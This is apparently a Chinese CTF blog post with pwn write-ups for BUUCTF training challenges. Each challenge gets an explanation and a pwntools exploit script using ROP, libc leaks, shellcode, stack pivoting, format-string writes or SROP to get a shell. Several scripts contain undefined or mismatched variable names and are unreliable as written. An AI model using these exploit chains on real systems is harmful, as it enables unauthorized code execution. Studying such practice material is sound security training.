BUUCTF 第一页,无脑复健一下
虽然本来就很菜
基础 ROP jarvisoj_level2_x64
很简单,我们只需要栈溢出调用 system ,再把 system 的变量变成 “/bin/sh
“即可
找到程序中有该字符串
exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * sh=process('./pwn' ) sh_bin=0x600A90 pop_rdi=0x4006b3 system_add=0x4004C0 payload=b'a' *88 +p64(pop_rdi)+p64(sh_bin)+p64(system_addr) sh.sendline(payload) sh.interactive()
[OGeek2019]babyrop main 函数里的逻辑是:
生成一个随机数,把这个随机数作为参数传进 sub_804871F()
函数里,然后将该函数返回的结果作为参数再传进 sub_80487D0()
里
其中 sub_804871F()
中逻辑如下:
我们需要保证 strncmp() 的结果不为 0,不然程序会异常退出。
sub_80487D0()
函数中的逻辑如下:
传入的这个 a1 就是上方 sub_804871F()
函数中返回的 buf 第七个字节的 ascii 码。因为 buf 由我们自己来输入,我们可以控制 read 读入的长度,所以可以造成溢出。
漏洞具体利用方法:
要控制 strncmp()
的结果不为 0,就要保证 s 和 buf 相等。strncmp()
以 '/x00'
截断。所以我们可以在输入的 buf 前加上 '/x00'
。
要在 sub_80487D0()
函数中造成溢出,缓冲区长度就有 231+4=235 这么长,所以我们需要找一个 ascii 码足够大的字符。
但是能搜到的 ascii 码的字符,实际输出都没有拓展表中标注的这么大。所以我们采用另一个方法:转义字符。
\ 为转义字符,而 ‘\xhh’ 表示 ASCII 码值与 ‘hh’ 这个十六进制数相等的符号,例如 ‘\xff’ 表示 ASCII 码为 255 的符号。
实现溢出后利用 write() 函数泄露 libc 基质,而后回到 main ,再次修改返回地址为 system 的 ROP 链
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from LibcSearcher import LibcSearcher context(log_level='debug' ,arch='i386' ,os='linux' ) sh=remote('node5.buuoj.cn' ,28133 ) elf=ELF('./pwn' ) libc=ELF('./libc-2.23.so' ) main_addr= 0x08048825 write_plt = elf.plt["write" ] write_got = elf.got["write" ] payload=b'\x00' +b'\xff' *7 sh.sendline(payload) padding=b'a' *(0xe7 +4 ) payload1=padding+p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) sh.recvuntil("Correct\n" ) sh.sendline(payload1) write_addr = u32(sh.recv(4 ))print (hex (write_addr)) libc_base = write_addr - libc.sym["write" ] system_addr = libc_base+libc.sym["system" ] bin_sh_addr = libc_base+next (libc.search(flat("/bin/sh" ))) sh.sendline(payload) sh.recvuntil("Correct\n" ) payload2 =padding+p32(system_addr)+p32(0 )+p32(bin_sh_addr) sh.sendline(payload2) sh.interactive()
ciscn_2019_n_5 超简单的 ret2shellcode,什么保护都没开
main函数中的逻辑如下:
我们直接向 name 中写入 shellcode,再在输入 text 时溢出修改返回地址到 name 地址处执行 shellcode 即可。
1 2 3 4 5 6 7 8 9 from pwn import * p = remote("node5.buuoj.cn" ,25735 ) context(os='linux' , arch='amd64' , log_level='debug' ) shellcode = asm(shellcraft.sh()) name_addr = 0x0601080 p.sendlineafter("tell me your name\n" ,shellcode) payload = 'a' * (0x20 + 0x8 ) + p64(name_addr) p.sendlineafter("What do you want to say to me?\n" ,payload) p.interactive()
ciscn_2019_en_2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import* from LibcSearcher import* r=remote('node5.buuoj.cn' ,26445 ) elf=ELF('./pwn' ) main=0x400b28 pop_rdi=0x400c83 ret=0x4006b9 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] r.sendlineafter('choice!\n' ,'1' ) payload=b' \0' +b' a' *(0x50 -1 +8 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) r.sendlineafter('encrypted\n' ,payload) r.recvline() r.recvline() puts_addr = u64(r.recvline()[:-1 ].ljust(8 , b' \0' )) libc=LibcSearcher('puts' ,puts_addr) offset=puts_addr-libc.dump('puts' ) binsh=offset+libc.dump('str_bin_sh' ) system=offset+libc.dump('system' ) r.sendlineafter('choice!\n' ,'1' ) payload=b' \0' +b' a' *(0x50 -1 +8 )+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) r.sendlineafter('encrypted\n' ,payload) r.interactive()
ciscn_2019_ne_5 main函数中的逻辑如下,首先需要输入一个密码,密码正确后进入菜单:
AddLog:
接收了用户的128长度的输入并存储在 a1 中,此处的 a1 即是 main 函数中的 src 。 src 的长度是 48。
Print:
这里面调用了 system()
函数,可以供我们后续使用。
GetFlag:
在这个函数中,程序将 src 复制给 dest,而此处的 dest 也是 48 字节长度。
在整个程序中,我们可以利用 Add 控制 src 的输入,再利用 GetFlag 函数进而控制 dest 。因此,我们可以造成溢出,通过溢出 dest 控制函数的返回地址为 system(),从而实现 getshell。
用 ROPgadget 来搜索一下程序里的 '/bin/sh'
字符串的地址,没有找到,但是发现有 'sh'
字符串,这个效果是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * sh=remote('node5.buuoj.cn' ,26469 ) elf=ELF('./pwn' ) password='administrator' bin_sh=0x080482ea system_addr=elf.sym['system' ] sh.recvuntil('Please input admin password:' ) sh.sendline(password) sh.recvuntil('0.Exit\n:' ) sh.sendline('1' ) sh.recvuntil('info:' ) payload=b'a' *(0x48 +4 )+p32(system_addr)+p32(0 )+p32(bin_sh) sh.sendline(payload) sh.recvuntil('0.Exit\n:' ) sh.sendline('4' ) sh.interactive()
bjdctf_2020_babyrop 没什么特别的,就是这道题我匹配了超多 libc ,试了很多次才成功,就想记录一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import LibcSearcher sh=remote('node5.buuoj.cn' ,29454 ) elf=ELF('./pwn' ) main=0x040067D puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] pop_rdi=0x0400733 ret=0x04004c9 payload=b'a' *(0x20 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) sh.recvuntil('story!\n' ) sh.sendline(payload) puts_addr=u64(sh.recv(6 ).ljust(8 ,b'\x00' ))print (hex (puts_addr)) libc=LibcSearcher('puts' ,puts_addr) base=puts_addr-libc.dump('puts' ) bin_sh=base+libc.dump('str_bin_sh' ) system=base+libc.dump('system' ) payload=b'a' *(0x20 +8 )+ p64(pop_rdi) + p64(bin_sh)+p64(system) sh.recvuntil('story!\n' ) sh.sendline(payload) sh.interactive()
[HarekazeCTF2019]baby_rop2 main 函数如下:
很明显的栈溢出,read 读入100 字节,buf 长度只有 20。可以用来泄露基址在栈上构造 system("/bin/sh")
需要注意的是,我们在这个程序当中是利用 printf 来输出地址,和之前的 puts 不一样。
printf
实际上就是 int printf( const char* format , [argument] ... );
,
printf 里面有两个参数(puts 只需要传一个),所以我们不仅要找 pop_rdi
还要找 pop_rsi
这个指令来传参,程序里招到的对应指令还带一个 pop r15
,没关系我们只要给它设置一个参数 0 就行。
我们构造的 payload 就写作:
1 payload=b'a'*(0 x20+8)+p64(pop_rdi )+p64(fmt_str )+p64(pop_rsi_r15 )+p64(read_got )+p64(0 )+p64(printf_got )+p64(main )
payload 被发送并执行后就是:
b'a'*(0x20+8)
:栈溢出将返回地址覆盖
p64(pop_rdi)+p64(fmt_str)
:原本的返回地址被改成了 pop rdi,ret
。pop rdi
对应的参数 fmt_str 会对应的会传给 rdi
p64(pop_rsi_r15)+p64(read_got)+p64(0)
:pop_rsi,pop_r15,ret;
执行指令 pop_rsi
对应参数 read_got ,将 rsi 寄存器的值设置成了 read 函数的 got 表地址,pop_r15
对应参数 0,我们不用 r15 ,随便设置一下它就行
p64(printf_got)
:将 printf 函数的 plt 表地址传入栈中,以去执行 printf 函数,输出我们设置的 read 函数的地址
p64(main)
:在完成第一次利用后,得到了程序内read函数的地址,知道了libc基址,我们需要重新回到程序开头,再次利用这个输入点去写入 system('/bin/sh')
随后正常构造即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) sh=process('./babyrop2' ) elf=ELF('./babyrop2' ) main= elf.symbols['main' ] printf_plt = elf.plt["printf" ] read_got = elf.got["read" ] pop_rdi=0x0400733 pop_rsi_r15=0x0400731 ret=0x04004d1 fmt_str=0x0400770 payload=b'a' *(0x20 +8 )+p64(pop_rdi)+p64(fmt_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0 )+p64(printf_plt)+p64(main) sh.recvuntil('name?' ) sh.sendline(payload) read_addr = u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))print (hex (read_addr)) libc=ELF('./libc.so.6' ) libc_base = read_addr - libc.sym['read' ] system = libc_base + libc.sym['system' ] binsh = libc_base+next (libc.search(flat("/bin/sh" ))) payload=b'a' *(0x20 +8 )+p64(pop_rdi)+p64(binsh)+p64(system) sh.recvuntil('name?' ) sh.sendline(payload) sh.interactive()
学到了一个找 flag 的新方法🥹:
如果 flag 被藏起来了,可以使用 find -name “flag” 命令来查找,然后根据查找出的地址直接 cat /file/flag
picoctf_2018_rop chain main 函数就是 gets 栈溢出,get flag() 后门函数直接就可以输出 flag。但需要满足以下条件:
![](/img/复健/picoctf_2018_rop chain_flag.png)
a1 的值点击后右键选择 Hexadecimal
win1和 win2 都是由对应的函数进行设置:
![](/img/复健/picoctf_2018_rop chain_win1.png)
其中 a1是直接向 win_function2() 传参,我们也直接在 payload 里构造就好。
![](/img/复健/picoctf_2018_rop chain_win2.png)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * sh=remote('node5.buuoj.cn' ,26951 ) win1=0x080485CB win2=0x080485D8 flag=0x0804862B a11=0xBAAAAAAD a12=0xDEADBAAD payload=b'a' *(0x18 +4 )+p32(win1)+p32(win2)+p32(flag)+p32(a11)+p32(a12) sh.sendline(payload) sh.interactive()
ez_pz_hackover_2016 难得的,好久不见的 NX 保护没开的题目,那就是写 shellcode 嘛。
漏洞就在 chall 函数和 vuln 函数里:
memchr() 函数就是将 ‘\n’ 之后的数据置为0
综合来考虑就是我们需要先绕过 main 函数中的 strcmp 比较,所以我们部署的 s 的组成就是 “crashme+'\x00'+其他
“ 。
再结合到 vuln 函数,我们覆盖住 dest 的缓冲区,并在栈上部署 shellcode ,将返回地址修改为 shellcode 地址即可。
开始的时候程序泄露了栈地址,也就是运行的时候 s 开始的地址,我们可以利用给出的栈地址做基地址来计算到 shellcode 的偏移来得出shellcode的地址,虽然地址会随机化但是偏移量不会变。
所以我们初步确定payload组成是 b'crashme\x00'+offest+p32(shellcode_add)+shellcode
我们调试一下 shellcode 的偏移,就是看我们的 EBP 距离 s 的偏移再加4( leave,ret )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * sh=process('./pwn' ) context.log_level='debug' gdb.attach(sh,'b *0x8048600' ) sh.recvuntil('crash: ' ) stack=int (p.recv(10 ),16 )print (hex (stack)) payload='crashme\x00' +'aaaaaa' sh.sendline(payload) pause()
所以我们要填充的区域就是就是 0x38-0x22+4=0x1A
。
同理也可以计算出 shellcode 的地址偏移,需要注意,vuln(src, n)
里 memcpy 的第二个参数是 &src 而不是 src ,所以并不是把 src处的东西拷贝到 dest,而是从 ebp+8 开始拷贝。
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * sh=process('./pwn' ) context.log_level='debug' p.recvuntil('crash: ' ) stack=int (sh.recv(10 ),16 )print (hex (stack)) shellcode=stack-0x1c payload='crashme\x00' +b'a' *(0x1a -8 )+p32(shellcode_addr)+asm(shellcraft.sh()) sh.sendline(payload) sh.interactive()
整数溢出 pwn2_sctf_2016 vuln 函数中的逻辑如下:
在最开始接收用户想要输入的字符长度,有一个 if 检查确保用户的输入小于 32。但是用来接受输入的函数 get_n()
并不是系统函数,具体如下:
它所接收和返回的都是 unsigned int 类型,所以我们就可以利用整数溢出来绕过 main 函数中的检查 。
而后的步骤就是正常的 ret2rop 流程了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import LibcSearcher context(log_level='debug' ,arch='i386' ,os='linux' ) sh=remote('node5.buuoj.cn' ,27438 ) elf=ELF('./pwn' ) vuln=0x0804852F main_addr = elf.symbols['main' ] printf_plt = elf.plt["printf" ] printf_got = elf.got["printf" ] sh.recvuntil('read? ' ) sh.sendline(b'-1' ) sh.recvuntil('data!\n' ) payload=b'a' *(0x2c +4 )+p32(printf_plt)+p32(vuln)+p32(printf_got) sh.sendline(payload) sh.recvuntil('\n' ) printf_addr=u32(sh.recv(4 ))print (hex (printf_addr)) libc=LibcSearcher('printf' ,printf_addr) base=printf_addr-libc.dump('printf' ) bin_sh=base+libc.dump('str_bin_sh' ) system=base+libc.dump('system' ) sh.recvuntil('read? ' ) sh.sendline(b'-1' ) sh.recvuntil('data!\n' ) payload=b"a" *(0x2c +4 ) + p32(system) + p32(main_addr)+p32(bin_sh) sh.sendline(payload) sh.interactive()
出现了一点问题,本地能打通远程打不通,搜出来的libc版本都不一样,我四处冲浪发现了一位师傅的评论:
![](/img/复健/No libc satisfies constraints.png)
不管了!本地通了就是通了🥹
bjdctf_2020_babystack2 是一个整数溢出的题
main函数中的逻辑是这样的,程序中另外有现成的后门函数,如果在读入 buf 时溢出修改返回地址就可以直接 get shell。
buf 的长度为 0x10 ,但是在输入前有一个 if 条件检验输入的数字不能大于 10。
scanf 处的 nbytes 是 unsigned int,unsigned int 是无符号整型,我们如果输入的是 -1就会变成 unsigned int 的最大值,这样就可以绕过检测并提供足够的空间用来溢出。
1 2 3 4 5 6 7 8 9 10 11 from pwn import * sh=process('./pwn' ) sh.recvuntil("Please input the length of your name:\n" ) sh.sendline('-1' ) sh.recvuntil("What's u name?\n" ) payload=b'a' *(0x10 +8 )+p64(0x0400726 ) sh.sendline(payload) sh.interactive()
栈迁移 ciscn_2019_es_2 程序自带一个后门函数,但是有个坑:
它这个地方 echo flag 是真的只是输出了 “flag”。但这不是什么问题我们给 system 函数传入一个 “/bin/sh” 就行。
一开始看错了我还想说怎么打不通明明没问题😅
main 函数没什么可看的,直接进入 vul
s 长度为 0x28 ,但是 read 只能读入 0x30 字节,我们想要溢出的话也只能覆盖 s 缓冲区+ebp+ret,不能容纳我们添加新的返回地址。
这个时候我们就可以考虑栈迁移。
如果溢出的空间足够,我们就可以构造如下的栈结构来get shell
栈迁移的话栈结构的构造也没什么变化,就是给它把这一部分虚假的栈结构(x 放到别的地方去而已。这道题的话我们就直接控制栈到 s 的缓冲区来构造 rop 即可。
这样,题目中给的两次 read 和 print 都是可以供我们利用的。第一次 read 泄露栈地址用来栈迁移,第二次用来执行栈迁移,控制 ret 跳转到我们所迁移的栈上。
由于 printf("%s")
在 '\x00'
存在截断,因此只需要填充 padding 到 ebp 位置,就可以 printf 泄露 ebp 的值。
通过 GDB 调试可以获得 ebp 在栈上的偏移为 0x38
所以我们只要将 ebp-0x34
即可获得栈地址。
第二次输入 s 时就正常构造 rop 链即可,另须注意每次 ret 都会让 esp+4,需要在 rop 链前加四字节的 padding。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(log_level='debug' ,arch='i386' ,os='linux' ) r=remote('node5.buuoj.cn' ,28389 ) sys=0x8048400 leave_ret=0x08048562 payload='a' *0x27 +'b' r.send(payload) r.recvuntil("b" ) ebp=u32(r.recv(4 )) s=ebp-0x38 payload2=b'aaaa' +p32(sys)+p32(1 )+p32(s+0x10 )+b"/bin/sh" payload2=payload2.ljust(0x28 ,b'\x00' ) payload2+=p32(s)+p32(leave_ret) r.send(payload2) r.interactive()
格式化字符串 easyfmt 分析题目 按照做题习惯先看一下文件保护,只开启了 canary 和 NX
直接放进 ida 反编译
进入格式化字符串漏洞之前有一个 if 条件检测 CheckIn 函数,看一下:
最后一行 return
是让 buf 强制转换为一个 _BYTE 类型的数据也就是只有一位数字,和 v2 比较是否相等。随便填一个数字,多试几次肯定能行👻
成功后跳出 CheckIn 来看漏洞利用部分,只有一个 printf,但肯定要想办法多次利用它才行。就直接第一次利用 printf 先改掉 exit 的 got 表,让它跳转到 if 检测后的地址。
漏洞利用 通过 checkin 检测以后先修改 exit 的 got 表,然后第二次漏洞利用泄露 put 的地址,利用 ret2libc 查询 system 地址,第三次利用改掉put 的 got 表,第四次写入”/bin/sh”,让程序运行结束跳转回去执行system("/bin/sh");
,完成 getshell。
格式化字符串要查找一下对应的偏移先,啊忘了怎么搞了
(我就说多试几次就通过检测了叭🤪
偏移是8
最后结果是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * context(arch = "amd64" ,os= "linux" ) context.log_level = 'debug' a = process('./easyfmt' ) elf = ELF ('./easyfmt' ) exit_plt = elf.plt['exit' ] exit_got = elf.got['exit' ] put_plt = elf.plt['put' ] put_got = elf.got['put' ] main_addr = 0x400999 a.sendlineafter('enter' ,'1' ) payload = fmtstr_payload(8 ,{exit_got:main_addr}) a.sendlineafter('slogan: ' ,payload) payload = b'%10$sbbb' + p64(puts_got) a.sendafter(b'slogan: \x00' ,payload) puts_addr = u64(a.recvuntil(b'bbb' )[:-3 :].ljust(8 ,b'\x00' )) print(hex(puts_addr)) libc=ELF ('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so' ) libc_base = puts_addr - libc.sym['puts' ] system = libc_base + libc.sym['system' ] print(hex(system_addr)) payload = fmtstr_payload(10 ,{printf_got:system_addr}) a.sendlineafter('slogan: ' ,payload) a.sendlineafter('slogan: ' ,'/bin/sh' ) a.interactive()
jarvisoj_fm main函数中的逻辑如下:
在 printf(buf)
存在格式化字符串漏洞,再往下的 x 变量在 data 段,我们通过格式化字符串任意写的漏洞修改 x 的值即可。
计算出字符串输入处的偏移是11
(nil)也算一位偏移,32位没有寄存器传参所以栈上偏移是多少就是多少
1 2 3 4 5 6 7 8 9 10 from pwn import * sh=process('./fm' ) x_add=0x804A02C payload=p32(x_add)+b"%11$n" sh.sendline(payload) sh.interactive()
系统调用 srop ciscn_2019_s_3 vuln函数里两个系统调用
发现有一个 gadget() 函数,里面有一个return 15L,点进汇编源码那一页可以发现下面还有一个返回 59 的代码。我们可以另外利用这两个系统调用
系统调用:
每一个系统函数都有一个对应的系统调用号,例如:
sys_read
的调用号为 0 、sys_write
的调用号为 1、stub_execve
的调用号为 59、stub_rt_sigreturn
的调用号为 15
另外需要注意的是,这个题的汇编代码中只有 ret
,没有 leave
指令,所以它不会执行 mov ebp,esp | pop ebp。只要覆盖住 0x10 的缓冲区就可以同时覆盖住返回地址。
方法一-SROP: 解题思路就是可以通过 read 伪造一个 sigreturn frame 在栈中,然后执行 sigreturn 的系统调用
本题中不存在 '/bin/sh'
字符,所以需要我们手动输入。我们可以利用栈溢出首先利用本题的 sys_read 去读一个 ‘/bin/sh’ ,因为栈中的位置都是通过偏移确定的,所以要确定栈偏移。
栈地址-字符串在栈中的地址 = offset
在 main 函数开始时 rsi 存的便是栈地址,我们通过 GDB 来调试查看
我们在read时输入 ‘/bin/sh’ ,就可以查看它在栈上的偏移
所以 offest=0xf48-0xe30=0x118
,binsh_addr=栈地址-0x118
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * e=ELF('./pwn' ) p=process('./pwn' ) vuln_addr=0x04004F1 payload=b'/bin/sh\x00' +b'a' *(0x10 -len ('/bin/sh\x00' ))+p64(vuln_addr) p.sendline(payload) add=p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )print (hex (u64(add)-0x118 )) bin_sh=u64(add)-0x118 log.info('stack:' +hex (stack)) syscall_ret=0x0400517 rax=0x004004DA frame = SigreturnFrame() frame.rax = 59 frame.rdi = bin_sh frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret payload=b'/bin/sh\x00' +b'a' *(0x10 -len ('/bin/sh\x00' ))+p64(rax)+p64(syscall_ret)+bytes (frame) p.sendline(payload) p.interactive()
方法一-ret2csu: 因为程序中有 59 系统调用号,所以想办法控制寄存器的值调用 execve(“/bin/sh”,0,0)。一共需要传三个参数,因为是 64 位所以需要 rdi , rsi ,和 rdx 三个寄存器用来传参。分别对应:
1 2 3 4 rax: 0 x3brdi: rsi: 0 rdx: 0
mov rax ,3b
就是之前提到的 vuln 里的可利用的代码片段。其余的可以在 init_csu 函数里找到对应的 gadget。
我们可以通过下半段的 pop 指令,设置 r13、r14 ,再通过上半部分的 mov 指令将 r13、r14 的值分别赋值给 rdx、rsi。其余的寄存器的值根据需要设置。我们目前需要设置的是 r13=0、r14=0。
我们当前构想的 payload 结构如下:
需要注意一下的是,我们执行完毕 mov 命令后,会执行 call 指令,对应跳转到 r12+rbx*8
处。所以我们将 rbx 设置为 0,就可以让这一步执行 r12 处指向的操作。对应的 r12 我们就可以存储我们想要执行的地址 mov_rax_addr。
那 pop_rdi
怎么执行呢?
程序回到 csu 后会自动给 rbx+1 ,随后进行 rbx 与 rbp 的比较,如果比较结果不同就会跳转到mov 指令处再次执行,这时call 会跳转到r12+8
,正好就是 pop_rdi
。
综上,我们要给 rbx 和 rbp 都赋值 0,给 r12 复制存储 mov_rax_addr 的地址,同样是利用偏移来确定,就是 ‘/bin/sh’+0x50 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * sh=process('./pwn' ) mov_addr=0x0400580 pop_add=0x040059A mov_rax=0x04004E2 pop_rdi=0x04005a3 syscall_addr=0x0400501 payload=b'/bin/sh\x00' +b'a' *(0x10 -len ('/bin/sh\x00' ))+p64(vuln_addr) sh.sendline(payload) stack_add=p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' ) bin_sh=u64(add)-0x118 payload=b'/bin/sh\x00' +b'a' *(0x10 -len ('/bin/sh\x00' ))+p64(pop_addr)+p64(0 )*2 +p64(bin_sh+0x50 )+p64(0 )*3 payload+=p64(mov_addr)+p64(mov_rax) payload+=p64(pop_rdi)+p64(bin_sh)+p64(syscall_addr) sh.sendline(payload) sh.interactive()
脑袋笨笨的🥹